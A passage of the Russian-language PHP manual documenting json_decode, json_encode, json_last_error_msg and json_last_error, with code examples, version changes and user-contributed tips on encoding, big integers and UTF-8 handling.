Если true, объекты JSON будут возвращены как ассоциативные массивы (array); если false, объекты JSON будут возвращены как объекты (object). Если null, объекты JSON будут возвращены как ассоциативные массивы (array) или объекты (object) в зависимости от того, установлена ли JSON_OBJECT_AS_ARRAY в flags.

depth

Максимальная глубина вложенности структуры, для которой будет производиться декодирование. Значение должно быть больше 0 и меньше или равно 2147483647.

flags

Битовая маска из констант JSON_BIGINT_AS_STRING, JSON_INVALID_UTF8_IGNORE, JSON_INVALID_UTF8_SUBSTITUTE, JSON_OBJECT_AS_ARRAY, JSON_THROW_ON_ERROR. Поведение этих констант описаны на странице JSON-констант.

Возвращаемые значения

Возвращает данные json, преобразованные в типы PHP. Не заключённые в кавычки значения true, false и null возвращаются как типизированные значения true, false и null. Значение с типом null также возвращается в случаях, когда параметр json не может быть преобразован или глубина вложенности структуры превышет установленный предел.

Ошибки

Начиная с PHP 8.0.0, если значение параметра depth выходит за пределы допустимого диапазона, функция выбрасывает исключение ValueError; ранее выдавалась ошибка уровня E_WARNING.

Список изменений

Версия | Описание
7.3.0 | Добавлена константа JSON_THROW_ON_ERROR для параметра flags.
7.2.0 | associative теперь nullable.
7.2.0 | Добавлены константы JSON_INVALID_UTF8_IGNORE и JSON_INVALID_UTF8_SUBSTITUTE для параметра flags.
7.1.0 | Пустой ключ JSON ("") будет преобразован в пустое свойство объекта, а не в свойство со значением _empty_.

Примеры

Пример #1 Примеры использования json_decode()

<?php
$json = '{"a":1,"b":2,"c":3,"d":4,"e":5}';

var_dump(json_decode($json));
var_dump(json_decode($json, true));

?>

Результат выполнения данного примера:

object(stdClass)#1 (5) {
    ["a"] => int(1)
    ["b"] => int(2)
    ["c"] => int(3)
    ["d"] => int(4)
    ["e"] => int(5)
}

array(5) {
    ["a"] => int(1)
    ["b"] => int(2)
    ["c"] => int(3)
    ["d"] => int(4)
    ["e"] => int(5)
}

Пример #2 Доступ к свойствам объектов с неправильными именами

Доступ к элементам объекта, которые содержат символы, недопустимые в соответствии с соглашением об именах PHP (то есть дефис), может быть выполнен путём обрамления имени элемента фигурными скобками и апострофами.

<?php

$json = '{"foo-bar": 12345}';

$obj = json_decode($json);
print $obj->{'foo-bar'}; // 12345

?>

Пример #3 Распространённая ошибка при использовании json_decode()

<?php

// Следующие строки являются валидным кодом JavaScript, но не валидными JSON-данными

// Имя и значение должны помещаться в двойные кавычки
// Одинарные кавычки использовать нельзя
$bad_json = "{ 'bar': 'baz' }";
json_decode($bad_json); // null

// Имя должно обрамляться в двойные кавычки
$bad_json = '{ bar: "baz" }';
json_decode($bad_json); // null

// Не должно быть завершающей запятой (без последующего элемента)
$bad_json = '{ bar: "baz", }';
json_decode($bad_json); // null

?>

Пример #4 Ошибки с глубиной вложенных объектов (depth)

<?php
// Закодируем данные с глубиной вложенности 4 (array -> array -> array -> string).
$json = json_encode(
array(
1 => array(
'English' => array(
'One',
'January'
),
'French' => array(
'Une',
'Janvier'
)
)
)
);

// Напечатаем ошибки для разных глубин.
var_dump(json_decode($json, true, 4));
echo 'Последняя ошибка: ', json_last_error_msg(), PHP_EOL, PHP_EOL;

var_dump(json_decode($json, true, 3));
echo 'Последняя ошибка: ', json_last_error_msg(), PHP_EOL, PHP_EOL;
?>

Результат выполнения данного примера:

array(1) {
  [1]=>
  array(2) {
    ["English"]=>
    array(2) {
      [0]=>
      string(3) "One"
      [1]=>
      string(7) "January"
    }
    ["French"]=>
    array(2) {
      [0]=>
      string(3) "Une"
      [1]=>
      string(7) "Janvier"
    }
  }
}
Последняя ошибка: No error

NULL
Последняя ошибка: Maximum stack depth exceeded

Пример #5 json_decode() с большими целыми числами

<?php
$json = '{"number": 12345678901234567890}';

var_dump(json_decode($json));
var_dump(json_decode($json, false, 512, JSON_BIGINT_AS_STRING));

?>

Результат выполнения данного примера:

object(stdClass)#1 (1) {
  ["number"]=>
  float(1.2345678901235E+19)
}
object(stdClass)#1 (1) {
  ["number"]=>
  string(20) "12345678901234567890"
}

Примечания

Замечание:

Спецификация JSON - это не JavaScript, а его подмножество.

Замечание:

В случае возникновения ошибки декодирования можно использовать json_last_error() для определения её причины.

Смотрите также

  • json_encode() - Возвращает JSON-представление данных
  • json_last_error() - Возвращает последнюю ошибку

User Contributed Notes

greaties at ghvernuft dot nl 14-Feb-2023 03:42
To load an object with data in json format:
(bugfixed my previous comment)

<?php
function loadJSON($Obj, $json)
{
    $dcod = json_decode($json);
    $prop = get_object_vars ( $dcod );
    foreach($prop as $key => $lock)
    {
        if(property_exists ( $Obj ,  $key ))
        {
            if(is_object($dcod->$key))
            {
                loadJSON($Obj->$key, json_encode($dcod->$key));
            }
            else
            {
                $Obj->$key = $dcod->$key;
            }
        }
    }
    return $Obj;
}
?>

Tested with:

<?php
class Name
{
  public $first;
  public $last;
  public function fullname()
  {
    return $this->first . " " . $this->last;
  }
}
$json = '{"first":"John","last":"Smith"}';

$infull = loadJSON((new Name), $json);
echo $infull->fullname();
Lennart Hengstmengel 21-Jan-2022 05:42
JSON can be decoded to PHP arrays by using the $associative = true option. Be wary that associative arrays in PHP can be a "list" or "object" when converted to/from JSON, depending on the keys (of absence of them).

You would expect that recoding and re-encoding will always yield the same JSON string, but take this example:

    $json = '{"0": "No", "1": "Yes"}';
    $array = json_decode($json, true);  // decode as associative hash
    print json_encode($array) . PHP_EOL;

This will output a different JSON string than the original:

    ["No","Yes"]

The object has turned into an array!

Similarly, a array that doesn't have consecutive zero based numerical indexes, will be encoded to a JSON object instead of a list.

    $array = [
        'first',
        'second',
        'third',
    ];
    print json_encode($array) . PHP_EOL;
    // remove the second element
    unset($array[1]);
    print json_encode($array) . PHP_EOL;

The output will be:

    ["first","second","third"]
    {"0":"first","2":"third"}

The array has turned into an object!

In other words, decoding/encoding to/from PHP arrays is not always symmetrical, or might not always return what you expect!

On the other hand, decoding/encoding from/to stdClass objects (the default) is always symmetrical.

Arrays may be somewhat easier to work with/transform than objects. But especially if you need to decode, and re-encode json, it might be prudent to decode to objects and not arrays.

If you want to enforce an array to encode to a JSON list (all array keys will be discarded), use:

    json_encode(array_values($array));

If you want to enforce an array to encode to a JSON object, use:

    json_encode((object)$array);

See also: https://www.php.net/manual/en/function.array-is-list.php
as-works at narod dot ru 08-Nov-2021 01:49
On some PHP7+ systems php_json functions can be undefined (i faced it on Oracle Linux Enterprice with php 7.4 installed from REMI repository). If you have the same problem, try to install separated php-json module:

# yum install php-json

Hope this helps.
Anonymous 25-Sep-2021 02:44
<?php

$array = [0 => "foo", 1 => "bar", 2 => ["baz"]];

$associative = false;

var_dump(
    json_decode(
        json_encode($array),
        $associative
    )
);

?>

The above will output
<?php
/*
array (size=3)
  0 => string 'foo' (length=3)
  1 => string 'bar' (length=3)
  2 =>
    array (size=1)
      0 => string 'baz' (length=3)
*/
?>

Considering <?php $associative = false; ?> one might expect
<?php
/*
object(stdClass)
  public '0' => string 'foo' (length=3)
  public '1' => string 'bar' (length=3)
  public '2' =>
    object(stdClass)
      public '0' => string 'baz' (length=3)
*/
?>

an stdClass object instead of an array, but this is incorrect.
json_decode will always return an array for a sequentially encoded array, regardless of the ?bool $associative 2nd argument

Which is inline with the above mentioned docs/spec
    > Returns the value encoded in json in appropriate PHP type

Considering that the 1st arg was a sequentially encoded array as a json string
    '["foo","bar",["baz"]]'
greaties at ghvernuft dot nl 28-Apr-2021 11:36
To load an object with data in json format:

function loadJSON($Obj, $json)
{
    $dcod = json_decode($json);
    $prop = get_object_vars ( $dcod );
    foreach($prop as $key => $lock)
    {
        if(property_exists ( $Obj ,  $key ))
        {
            if(is_object($dcod->$key))
            {
                loadJSON($Obj->$key, json_encode($dcod->$key));
            }
            else
            {
                $Obj->$key = $dcod->$key;
            }
        }
    }
}
Alien426 14-Apr-2021 09:11
Browsers don't choke on integers _starting_ with BigInt (64 bits), but before that (53 bits). The introduction of BigInt to modern browsers doesn't help much, when JSON handling functions do not support it. So I am trying to remedy that. My approach is to handle the decoded array before re-encoding it to a string:
<?php
function fix_large_int(&$value)
 {
  if (is_int($value) && $value > 9007199254740991)
    $value = strval($value);
 }
$json_str = '{"id":[1234567890123456789,12345678901234567890]}';
$json_arr = json_decode($json_str, flags: JSON_BIGINT_AS_STRING | JSON_OBJECT_AS_ARRAY);
echo(json_encode($json_arr)); // {"id":[1234567890123456789,"12345678901234567890"]} (BigInt is already converted to a string here)
array_walk_recursive($json_arr, 'fix_large_int');
echo(json_encode($json_arr)); // {"id":["1234567890123456789","12345678901234567890"]}
?>
mattia 06-Feb-2021 08:51
if you're using ajax to post, and your JavaScript code looks like this:

<code>
    var xhttp = new XMLHttpRequest();
    xhttp.open("POST", "something.php", true);
    xhttp.setRequestHeader("Content-Type", "application/json");
    xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
             // do something
        }
    };
    var data = {some: "thing"};
    xhttp.send(JSON.stringify(data));
</code>

then in <code>something.php</code> you can retrieve your json by doing

<?php
$data = json_decode(file_get_contents("php://input"), true);
?>
cubefox at web dot NOSPAMPLEASE dot de 11-Nov-2020 01:18
Warning: As the section "return values" mentions, the return value NULL is ambiguos. To repeat, it can mean three things:

* The input string had the value "null"
* There was an error while parsing the input data
* The encoded data was deeper than the recursion limit

To distinguish these cases, json_last_error() can be used.


Возвращает JSON-представление данных

  • « json_decode
  • json_last_error_msg »
  • PHP Manual
  • Функции JSON
  • Возвращает JSON-представление данных

json_encode

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL json >= 1.2.0)

json_encode — Возвращает JSON-представление данных

Описание

json_encode(mixed $value, int $flags = 0, int $depth = 512): string|false

Возвращает строку, содержащую JSON-представление для указанного value. Если параметр является массивом (array) или объектом (object), он будет рекурсивно сериализован.

Если сериализуемое значение является объектом, то по умолчанию будут включены только публично видимые свойства. В качестве альтернативы класс может реализовать интерфейс JsonSerializable для управления тем, как его значения сериализуются в JSON.

На кодирование влияет параметр flags и, кроме того, кодирование значений типа float зависит от значения serialize_precision.

Список параметров

value

value - значение, которое будет закодировано. Может быть любого типа, кроме resource.

Функция работает только с кодировкой UTF-8.

Замечание:

PHP реализует надмножество JSON, который описан в первоначальном » RFC 7159.

flags

Битовая маска, составляемая из значений JSON_FORCE_OBJECT, JSON_HEX_QUOT, JSON_HEX_TAG, JSON_HEX_AMP, JSON_HEX_APOS, JSON_INVALID_UTF8_IGNORE, JSON_INVALID_UTF8_SUBSTITUTE, JSON_NUMERIC_CHECK, JSON_PARTIAL_OUTPUT_ON_ERROR, JSON_PRESERVE_ZERO_FRACTION, JSON_PRETTY_PRINT, JSON_UNESCAPED_LINE_TERMINATORS, JSON_UNESCAPED_SLASHES, JSON_UNESCAPED_UNICODE, JSON_THROW_ON_ERROR. Смысл этих констант объясняется на странице JSON-констант.

depth

Устанавливает максимальную глубину. Должен быть больше нуля.

Возвращаемые значения

Возвращает строку (string), закодированную JSON или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.3.0 | Добавлена константа JSON_THROW_ON_ERROR для параметра flags.
7.2.0 | Добавлены константы JSON_INVALID_UTF8_IGNORE и JSON_INVALID_UTF8_SUBSTITUTE для параметра flags.
7.1.0 | Добавлена константа JSON_UNESCAPED_LINE_TERMINATORS для параметра flags.
7.1.0 | При кодировании чисел с плавающей точкой (float) используется serialize_precision вместо precision.

Примеры

Пример #1 Пример использования json_encode()

<?php
$arr = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5);

echo json_encode($arr);
?>

Результат выполнения данного примера:

{"a":1,"b":2,"c":3,"d":4,"e":5}

Пример #2 Пример использования json_encode() с опциями

<?php
$a = array('<foo>',"'bar'",'"baz"','&blong&', "\xc3\xa9");

echo "Обычно: ", json_encode($a), "\n";
echo "Теги: ", json_encode($a, JSON_HEX_TAG), "\n";
echo "Апострофы: ", json_encode($a, JSON_HEX_APOS), "\n";
echo "Кавычки: ", json_encode($a, JSON_HEX_QUOT), "\n";
echo "Амперсанды: ", json_encode($a, JSON_HEX_AMP), "\n";
echo "Юникод: ", json_encode($a, JSON_UNESCAPED_UNICODE), "\n";
echo "Все: ", json_encode($a, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP | JSON_UNESCAPED_UNICODE), "\n\n";

$b = array();

echo "Отображение пустого массива как массива: ", json_encode($b), "\n";
echo "Отображение неассоциативного массива как объекта: ", json_encode($b, JSON_FORCE_OBJECT), "\n\n";

$c = array(array(1,2,3));

echo "Отображение неассоциативного массива как массива: ", json_encode($c), "\n";
echo "Отображение неассоциативного массива как объекта: ", json_encode($c, JSON_FORCE_OBJECT), "\n\n";

$d = array('foo' => 'bar', 'baz' => 'long');

echo "Ассоциативный массив всегда отображается как объект: ", json_encode($d), "\n";
echo "Ассоциативный массив всегда отображается как объект: ", json_encode($d, JSON_FORCE_OBJECT), "\n\n";
?>

Результат выполнения данного примера:

Обычно: ["<foo>","'bar'","\"baz\"","&blong&","\u00e9"]
Теги: ["\u003Cfoo\u003E","'bar'","\"baz\"","&blong&","\u00e9"]
Апострофы: ["<foo>","\u0027bar\u0027","\"baz\"","&blong&","\u00e9"]
Кавычки: ["<foo>","'bar'","\u0022baz\u0022","&blong&","\u00e9"]
Амперсанды: ["<foo>","'bar'","\"baz\"","\u0026blong\u0026","\u00e9"]
Юникод: ["<foo>","'bar'","\"baz\"","&blong&","e"]
Все: ["\u003Cfoo\u003E","\u0027bar\u0027","\u0022baz\u0022","\u0026blong\u0026","e"]

Отображение пустого массива как массива: []
Отображение неассоциативного массива как объекта: {}

Отображение неассоциативного массива как массива: [[1,2,3]]
Отображение неассоциативного массива как объекта: {"0":{"0":1,"1":2,"2":3}}

Ассоциативный массив всегда отображается как объект: {"foo":"bar","baz":"long"}
Ассоциативный массив всегда отображается как объект: {"foo":"bar","baz":"long"}

Пример #3 Пример использования опции JSON_NUMERIC_CHECK

<?php
echo "Строки, содержащие числа преобразуются в числа".PHP_EOL;
$numbers = array('+123123', '-123123', '1.2e3', '0.00001');
var_dump(
$numbers,
json_encode($numbers, JSON_NUMERIC_CHECK)
);
echo "Строки, содержащие некорректно заданные числа".PHP_EOL;
$strings = array('+a33123456789', 'a123');
var_dump(
$strings,
json_encode($strings, JSON_NUMERIC_CHECK)
);
?>

Результатом выполнения данного примера будет что-то подобное:

Строки, содержащие числа преобразуются в числа
array(4) {
  [0]=>
  string(7) "+123123"
  [1]=>
  string(7) "-123123"
  [2]=>
  string(5) "1.2e3"
  [3]=>
  string(7) "0.00001"
}
string(28) "[123123,-123123,1200,1.0e-5]"
Строки, содержащие некорректно заданные числа
array(2) {
  [0]=>
  string(13) "+a33123456789"
  [1]=>
  string(4) "a123"
}
string(24) "["+a33123456789","a123"]"

Пример #4 Пример с последовательными индексами, начинающимися с нуля, и непоследовательными индексами массивов

<?php
echo "Последовательный массив".PHP_EOL;
$sequential = array("foo", "bar", "baz", "blong");
var_dump(
$sequential,
json_encode($sequential)
);

echo PHP_EOL."Непоследовательный массив".PHP_EOL;
$nonsequential = array(1=>"foo", 2=>"bar", 3=>"baz", 4=>"blong");
var_dump(
$nonsequential,
json_encode($nonsequential)
);

echo PHP_EOL."Последовательный массив с одним удалённым индексом".PHP_EOL;
unset($sequential[1]);
var_dump(
$sequential,
json_encode($sequential)
);
?>

Результат выполнения данного примера:

Последовательный массив
array(4) {
  [0]=>
  string(3) "foo"
  [1]=>
  string(3) "bar"
  [2]=>
  string(3) "baz"
  [3]=>
  string(5) "blong"
}
string(27) "["foo","bar","baz","blong"]"

Непоследовательный массив
array(4) {
  [1]=>
  string(3) "foo"
  [2]=>
  string(3) "bar"
  [3]=>
  string(3) "baz"
  [4]=>
  string(5) "blong"
}
string(43) "{"1":"foo","2":"bar","3":"baz","4":"blong"}"

Последовательный массив с одним удалённым индексом
array(3) {
  [0]=>
  string(3) "foo"
  [2]=>
  string(3) "baz"
  [3]=>
  string(5) "blong"
}
string(33) "{"0":"foo","2":"baz","3":"blong"}"

Пример #5 Пример использования опции JSON_PRESERVE_ZERO_FRACTION

<?php
var_dump(json_encode(12.0, JSON_PRESERVE_ZERO_FRACTION));
var_dump(json_encode(12.0));
?>

Результат выполнения данного примера:

string(4) "12.0"
string(2) "12"

Примечания

Замечание:

в случае возникновения ошибки кодирования можно использовать json_last_error() для определения точной ошибки.

Замечание:

При кодировании массива в случае, если его индексы не являются последовательными числами от нуля, то все индексы кодируются в строковые ключи для каждой пары индекс-значение.

Замечание:

Как и эталонный кодировщик JSON, json_encode() будет создавать JSON в виде простого значения (то есть не объект и не массив), если ему переданы типы string, int, float или bool в качестве входящего значения value. Большинство декодеров воспринимают эти значения как правильный JSON, но некоторые нет, потому что спецификация неоднозначна на этот счёт.

Всегда проверяйте, что ваш декодер JSON может правильно обрабатывать данные, которые вы создаёте с помощью json_encode().

Смотрите также

  • JsonSerializable
  • json_decode() - Декодирует строку JSON
  • json_last_error() - Возвращает последнюю ошибку
  • serialize() - Генерирует пригодное для хранения представление переменной

User Contributed Notes

elliseproduction at gmail dot com 18-Oct-2022 01:31
Notice that JSON_FORCE_OBJECT will convert all non-associative arrays to objects. This is not necessarily a good solution for empty arrays.
If you want to convert only empty arrays to objects, simply convert them to empty object before use json_encode function.

For example:

<?php

$foo=array(
   'empty2object'=>(object)[],
   'empty2array'=>[],
);

echo json_encode($foo);  // {"empty2object":{},"empty2array":[]}

?>
Walter Tross 18-Nov-2015 10:02
If you need pretty-printed output, but want it indented by 2 spaces instead of 4:

$json_indented_by_4 = json_encode($output, JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);
$json_indented_by_2 = preg_replace('/^(  +?)\\1(?=[^ ])/m', '$1', $json_indented_by_4);
guilhenfsu at gmail dot com 22-Apr-2013 08:35
Solution for UTF-8 Special Chars.

<?

$array = array('nome'=>'Paicao','cidade'=>'Sao Paulo');

$array = array_map('htmlentities',$array);

//encode
$json = html_entity_decode(json_encode($array));

//Output: {"nome":"Paicao","cidade":"Sao Paulo"}
echo $json;

?>
ck at ergovia dot de 28-Mar-2013 11:40
Attention when passing a plain array to json_encode and using JSON_FORCE_OBJECT. It figured out that the index-order of the resulting JSON-string depends on the system PHP is running on.

$a = array("a" , "b", "c");
echo json_encode($a, JSON_FORCE_OBJECT);

On Xampp (Windows) you get:

{"0":"a","1":"b","2":"c"}';

On a machine running debian I get:

{"2":"a","1":"b","0":"c"}';

Note that the key:value pairs are different!

Solution here was to use array_combine to create a ssociative array and then pass it to json_encode:

json_encode(array_combine(range(0, count($a) - 1), $a), JSON_FORCE_OBJECT);
bohwaz 23-Nov-2011 05:05
Are you sure you want to use JSON_NUMERIC_CHECK, really really sure?

Just watch this usecase:

<?php
// International phone number
json_encode(array('phone_number' => '+33123456789'), JSON_NUMERIC_CHECK);
?>

And then you get this JSON:

{"phone_number":33123456789}

Maybe it makes sense for PHP (as is_numeric('+33123456789') returns true), but really, casting it as an int?!

So be careful when using JSON_NUMERIC_CHECK, it may mess up with your data!
ryan at ryanparman dot com 27-Mar-2010 01:36
I came across the "bug" where running json_encode() over a SimpleXML object was ignoring the CDATA. I ran across http://bugs.php.net/42001 and http://bugs.php.net/41976, and while I agree with the poster that the documentation should clarify gotchas like this, I was able to figure out how to workaround it.

You need to convert the SimpleXML object back into an XML string, then re-import it back into SimpleXML using the LIBXML_NOCDATA option. Once you do this, then you can use json_encode() and still get back the CDATA.

<?php
// Pretend we already have a complex SimpleXML object stored in $xml
$json = json_encode(new SimpleXMLElement($xml->asXML(), LIBXML_NOCDATA));
?>
Istratov Vadim 09-Jun-2009 11:54
Be careful with floating values in some locales (e.g. russian) with comma (",") as decimal point. Code:

<?php
setlocale(LC_ALL, 'ru_RU.utf8');

$arr = array('element' => 12.34);
echo json_encode( $arr );
?>

Output will be:
--------------
{"element":12,34}
--------------

Which is NOT a valid JSON markup. You should convert floating point variable to strings or set locale to something like "LC_NUMERIC, 'en_US.utf8'" before using json_encode.
Sam Barnum 20-Apr-2009 11:01
Note that if you try to encode an array containing non-utf values, you'll get null values in the resulting JSON string.  You can batch-encode all the elements of an array with the array_map function:
<?php
$encodedArray = array_map(utf8_encode, $rawArray);
?>
Garrett 22-Oct-2008 11:17
A note about json_encode automatically quoting numbers:

It appears that the json_encode function pays attention to the data type of the value. Let me explain what we came across:

We have found that when retrieving data from our database, there are occasions when numbers appear as strings to json_encode which results in double quotes around the values.

This can lead to problems within javascript functions expecting the values to be numeric.

This was discovered when were were retrieving fields from the database which contained serialized arrays. After unserializing them and sending them through the json_encode function the numeric values in the original array were now being treated as strings and showing up with double quotes around them.

The fix: Prior to encoding the array, send it to a function which checks for numeric types and casts accordingly. Encoding from then on worked as expected.


Возвращает строку с сообщением об ошибке последнего вызова json_encode() или json_decode()

  • « json_encode
  • json_last_error »
  • PHP Manual
  • Функции JSON
  • Возвращает строку с сообщением об ошибке последнего вызова json_encode() или json_decode()

json_last_error_msg

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

json_last_error_msg — Возвращает строку с сообщением об ошибке последнего вызова json_encode() или json_decode()

Описание

json_last_error_msg(): string

Возвращает текстовое описание последней ошибки, произошедшей при выполнении json_encode() или json_decode() без флага JSON_THROW_ON_ERROR.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сообщение об ошибке в случае успешного выполнения или "No error", если ошибки не произошло.

Смотрите также

  • json_last_error() - Возвращает последнюю ошибку

User Contributed Notes

Anonymous 03-Jun-2015 09:34
Here's an updated version of the function:

<?php
    if (!function_exists('json_last_error_msg')) {
        function json_last_error_msg() {
            static $ERRORS = array(
                JSON_ERROR_NONE => 'No error',
                JSON_ERROR_DEPTH => 'Maximum stack depth exceeded',
                JSON_ERROR_STATE_MISMATCH => 'State mismatch (invalid or malformed JSON)',
                JSON_ERROR_CTRL_CHAR => 'Control character error, possibly incorrectly encoded',
                JSON_ERROR_SYNTAX => 'Syntax error',
                JSON_ERROR_UTF8 => 'Malformed UTF-8 characters, possibly incorrectly encoded'
            );

            $error = json_last_error();
            return isset($ERRORS[$error]) ? $ERRORS[$error] : 'Unknown error';
        }
    }
?>


Возвращает последнюю ошибку

  • « json_last_error_msg
  • json_validate »
  • PHP Manual
  • Функции JSON
  • Возвращает последнюю ошибку

json_last_error

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

json_last_error — Возвращает последнюю ошибку

Описание

json_last_error(): int

Возвращает последнюю ошибку (если она есть), произошедшую во время последнего кодирования/декодирования JSON если при вызове не использовался флаг JSON_THROW_ON_ERROR.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целочисленное значение, которое может быть одной из следующих констант:

Коды ошибок JSON
Константа | Значение | Доступность
JSON_ERROR_NONE | Ошибок нет |
JSON_ERROR_DEPTH | Достигнута максимальная глубина стека |
JSON_ERROR_STATE_MISMATCH | Неверный или некорректный JSON |
JSON_ERROR_CTRL_CHAR | Ошибка управляющего символа, возможно неверная кодировка |
JSON_ERROR_SYNTAX | Синтаксическая ошибка |
JSON_ERROR_UTF8 | Некорректные символы UTF-8, возможно неверная кодировка |
JSON_ERROR_RECURSION | Одна или несколько зацикленных ссылок в кодируемом значении |
JSON_ERROR_INF_OR_NAN | Одно или несколько значений NAN или INF в кодируемом значении |
JSON_ERROR_UNSUPPORTED_TYPE | Передано значение с неподдерживаемым типом |
JSON_ERROR_INVALID_PROPERTY_NAME | Имя свойства не может быть закодировано |
JSON_ERROR_UTF16 | Некорректный символ UTF-16, возможно некорректно закодирован |

Примеры

Пример #1 Пример использования json_last_error()

<?php
// Верная json-строка
$json[] = '{"Organization": "PHP Documentation Team"}';

// Неверная json-строка, которая вызовет синтаксическую ошибку,
// здесь в качестве кавычек мы используем ' вместо "
$json[] = "{'Organization': 'PHP Documentation Team'}";

foreach ($json as $string) {
echo 'Декодируем: ' . $string;
json_decode($string);

switch (json_last_error()) {
case JSON_ERROR_NONE:
echo ' - Ошибок нет';
break;
case JSON_ERROR_DEPTH:
echo ' - Достигнута максимальная глубина стека';
break;
case JSON_ERROR_STATE_MISMATCH:
echo ' - Некорректные разряды или несоответствие режимов';
break;
case JSON_ERROR_CTRL_CHAR:
echo ' - Некорректный управляющий символ';
break;
case JSON_ERROR_SYNTAX:
echo ' - Синтаксическая ошибка, некорректный JSON';
break;
case JSON_ERROR_UTF8:
echo ' - Некорректные символы UTF-8, возможно неверно закодирован';
break;
default:
echo ' - Неизвестная ошибка';
break;
}

echo PHP_EOL;
}
?>

Результат выполнения данного примера:

Декодируем: {"Organization": "PHP Documentation Team"} - Ошибок нет
Декодируем: {'Organization': 'PHP Documentation Team'} - Синтаксическая ошибка, некорректный JSON

Пример #2 Совместное использование json_last_error() и json_encode()

<?php
// Некорректная последовательность UTF8
$text = "\xB1\x31";

$json = json_encode($text);
$error = json_last_error();

var_dump($json, $error === JSON_ERROR_UTF8);
?>

Результат выполнения данного примера:

string(4) "null"
bool(true)

Пример #3 json_last_error() и JSON_THROW_ON_ERROR

<?php
// Некорректная последовательность UTF8, вызывающая JSON_ERROR_UTF8
json_encode("\xB1\x31");

// Не вызовет ошибки JSON
json_encode('okay', JSON_THROW_ON_ERROR);

// Глобальное состояние не будет изменено json_encode()
var_dump(json_last_error() === JSON_ERROR_UTF8);
?>

Результат выполнения данного примера:

bool(true)

Смотрите также

  • json_last_error_msg() - Возвращает строку с сообщением об ошибке последнего вызова json_encode() или json_decode()
  • json_decode() - Декодирует строку JSON
  • json_encode() - Возвращает JSON-представление данных

User Contributed Notes

wedge at atlanteans dot net 27-Mar-2018 02:15
here is a small updated version of utf8ize that has the following addition :
* It uses iconv instead of utf8_encode for potentially better result.
* It adds the support of objects variable
* It also update array key value (in a case I met I had to utf8ize the key as well as those were generated from a user input value)

Here is the code.

<?php
    function utf8ize($d) {
        if (is_array($d)) {
            foreach ($d as $k => $v) {
                unset($d[$k]);
        $d[utf8ize($k)] = utf8ize($v);
            }
        } else if (is_object($d)) {
        $objVars = get_object_vars($d);
        foreach($objVars as $key => $value) {
        $d->$key = utf8ize($value);
        }
    } else if (is_string ($d)) {
            return iconv('UTF-8', 'UTF-8//IGNORE', utf8_encode($d));
        }
        return $d;
    }
?>
msxcms at bmforum dot com 16-Jun-2017 09:12
use this code with mb_convert_encoding, you can json_encode some corrupt UTF-8 chars

    function safe_json_encode($value, $options = 0, $depth = 512) {
        $encoded = json_encode($value, $options, $depth);
        if ($encoded === false && $value && json_last_error() == JSON_ERROR_UTF8) {
            $encoded = json_encode(utf8ize($value), $options, $depth);
        }
        return $encoded;
    }

    function utf8ize($mixed) {
        if (is_array($mixed)) {
            foreach ($mixed as $key => $value) {
                $mixed[$key] = utf8ize($value);
            }
        } elseif (is_string($mixed)) {
            return mb_convert_encoding($mixed, "UTF-8", "UTF-8");
        }
        return $mixed;
    }
George Dimitriadis 28-Sep-2016 08:27
Just adding this note since I had to code this for the actual values reference.

<?php

echo JSON_ERROR_NONE . ' JSON_ERROR_NONE' . '<br />';
echo JSON_ERROR_DEPTH . ' JSON_ERROR_DEPTH' . '<br />';
echo JSON_ERROR_STATE_MISMATCH . ' JSON_ERROR_STATE_MISMATCH' . '<br />';
echo JSON_ERROR_CTRL_CHAR . ' JSON_ERROR_CTRL_CHAR' . '<br />';
echo JSON_ERROR_SYNTAX . ' JSON_ERROR_SYNTAX' . '<br />';
echo JSON_ERROR_UTF8 . ' JSON_ERROR_UTF8' . '<br />';
echo JSON_ERROR_RECURSION . ' JSON_ERROR_RECURSION' . '<br />';
echo JSON_ERROR_INF_OR_NAN . ' JSON_ERROR_INF_OR_NAN' . '<br />';
echo JSON_ERROR_UNSUPPORTED_TYPE . ' JSON_ERROR_UNSUPPORTED_TYPE' . '<br />';

/*
The above outputs :
0 JSON_ERROR_NONE
1 JSON_ERROR_DEPTH
2 JSON_ERROR_STATE_MISMATCH
3 JSON_ERROR_CTRL_CHAR
4 JSON_ERROR_SYNTAX
5 JSON_ERROR_UTF8
6 JSON_ERROR_RECURSION
7 JSON_ERROR_INF_OR_NAN
8 JSON_ERROR_UNSUPPORTED_TYPE
*/

?>
hemono at gmail dot com 18-Oct-2015 03:02
when json_decode a empty string, PHP7 will trigger an Syntax error:
<?php
json_decode("");
var_dump(json_last_error(), json_last_error_msg());

// PHP 7
int(4)
string(12) "Syntax error"

//  PHP 5
int(0)
string(8) "No error"
praveenscience at gmail dot com 21-Oct-2014 03:17
I used this simple script, flicked from StackOverflow to escape from the function failing:

<?php
    function utf8ize($d) {
        if (is_array($d)) {
            foreach ($d as $k => $v) {
                $d[$k] = utf8ize($v);
            }
        } else if (is_string ($d)) {
            return utf8_encode($d);
        }
        return $d;
    }
?>

Cheers,
Praveen Kumar!
williamprogphp at yahoo dot com dot br 30-Jan-2014 06:32
This is a quite simple and functional trick to validate JSON's strings.

<?php

    function json_validate($string) {
        if (is_string($string)) {
            @json_decode($string);
            return (json_last_error() === JSON_ERROR_NONE);
        }
        return false;
    }
    echo (json_validate('{"test": "valid JSON"}')  ? "It's a JSON" : "NOT is a JSON"); // prints 'It's a JSON'
    echo (json_validate('{test: valid JSON}')  ? "It's a JSON" : "NOT is a JSON"); // prints 'NOT is a JSON' due to missing quotes
    echo (json_validate(array())  ? "It's a JSON" : "NOT is a JSON"); // prints 'NOT is a JSON' due to a non-string argument
?>

Cheers
jimmetry at gmail dot com 23-Nov-2011 09:16
While this can obviously change between versions, the current error codes are as follows:

0 = JSON_ERROR_NONE
1 = JSON_ERROR_DEPTH
2 = JSON_ERROR_STATE_MISMATCH
3 = JSON_ERROR_CTRL_CHAR
4 = JSON_ERROR_SYNTAX
5 = JSON_ERROR_UTF8

I'm only posting these for people who may be trying to understand why specific JSON files are not being decoded. Please do not hard-code these numbers into an error handler routine.


Проверяет, содержит ли строка допустимый JSON

  • « json_last_error
  • Simdjson »
